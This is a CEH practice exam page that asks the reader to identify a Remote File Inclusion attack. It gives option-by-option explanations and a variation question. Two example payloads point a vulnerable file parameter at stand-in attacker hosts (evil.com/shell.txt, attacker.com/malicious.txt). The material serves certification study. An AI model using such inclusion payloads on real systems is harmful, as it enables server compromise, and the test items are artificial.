CEH Web Application and Injection Attacks Practice Question
An attacker exploits a vulnerable parameter in a web application by submitting the following payload: http://target.com/page.php?file=http://evil.com/shell.txt. The server returns the contents of the remote file. This is an example of which type of attack?
⚠ Common exam trap
CEH often tests the distinction between LFI and RFI; candidates may confuse the two, but the presence of a remote URL in the payload clearly indicates RFI.
Answer choices
Why each option matters
Answer the question above first, then reveal the full breakdown to understand why each option is right or wrong.
Correct answer & explanation
✓
Remote File Inclusion (RFI)
The payload includes a URL to a remote file (http://evil.com/shell.txt) that the server fetches and executes or returns. This is characteristic of Remote File Inclusion (RFI), where an attacker includes a file from an external server. The server returning the contents indicates the remote file was included.
Answer analysis
Option-by-option breakdown
For each option: why learners choose it and why it is or isn't the right answer here.
- ✗
Directory traversal
Why it's wrong here
Directory traversal vulnerabilities exploit flaws in file path handling, allowing an attacker to access files and directories stored outside the intended web root by manipulating input parameters with sequences like "../" or "..\". This technique specifically targets local filesystem navigation. The scenario, however, describes an attacker using a full, external URL in the payload, which is fundamentally different from the path manipulation characteristic of a directory traversal attack.
- ✗
Local File Inclusion (LFI)
Why it's wrong here
Local File Inclusion (LFI) vulnerabilities enable an attacker to include and execute or display files from the web server's local filesystem by supplying a relative or absolute path to a file on the server. This typically involves manipulating parameters that are intended to specify local file paths. The provided payload, which clearly contains a complete URL pointing to an external domain, indicates an attempt to fetch content from a remote source, not a local file.
- ✗
Command injection
Why it's wrong here
Command injection vulnerabilities occur when an application executes user-supplied input directly as operating system commands without sufficient sanitization or validation. This allows an attacker to run arbitrary shell commands on the underlying server, potentially leading to full system compromise. The described attack, however, involves the inclusion of external content via a URL, which is a file inclusion mechanism rather than the direct execution of system-level commands.
- ✓
Remote File Inclusion (RFI)
Why this is correct
Remote File Inclusion (RFI) vulnerabilities allow an attacker to force the web application to include and execute or display a file hosted on a remote server, typically controlled by the attacker. This is achieved by injecting a full URL into a vulnerable parameter that the application uses to dynamically include files. The payload's explicit use of a remote URL is the defining characteristic of an RFI attack, enabling the server to fetch and process content from an external source.
Go deeper
Related to this question
About these practice questions
This CEH question is part of Courseiva's 913-question bank — original exam-style content with full explanations and wrong-answer analysis, never real exam questions or exam dumps. Learn why practice questions differ from exam dumps →
Same concept, more angles
1 more way this is tested on CEH
These questions test the same concept from different angles. Work through them to make sure you can recognise it however the exam phrases it.
Variation 1. A penetration tester finds that a web application includes files based on user input without proper validation. The tester supplies 'http://attacker.com/malicious.txt' and the application includes its content. Which vulnerability is this?
medium- A.Directory traversal
- ✓ B.Remote File Inclusion (RFI)
- C.Local File Inclusion (LFI)
- D.Server-Side Request Forgery (SSRF)
Why B: The scenario describes a web application that includes files based on user input without proper validation, and the tester supplies a remote URL (http://attacker.com/malicious.txt) which the application then includes. This is the definition of Remote File Inclusion (RFI), where an attacker can include a file from a remote server, often leading to remote code execution. RFI is possible when the application uses user-supplied input in file inclusion functions (e.g., include, require in PHP) and allows remote URLs. The key indicator is the inclusion of a file from an external domain, which is RFI.
JA
Written and reviewed by Johnson Ajibi, MSc IT Security
Senior Network & Security Engineer · founder of Courseiva
Last reviewed September 2026 · checked against the official EC-Council exam blueprint
This CEH practice question is part of Courseiva's free EC-Council certification practice question bank. Courseiva provides original exam-style practice questions with explanations, topic-based practice, mock exams, readiness tracking, and study analytics to help learners prepare for the CEH exam.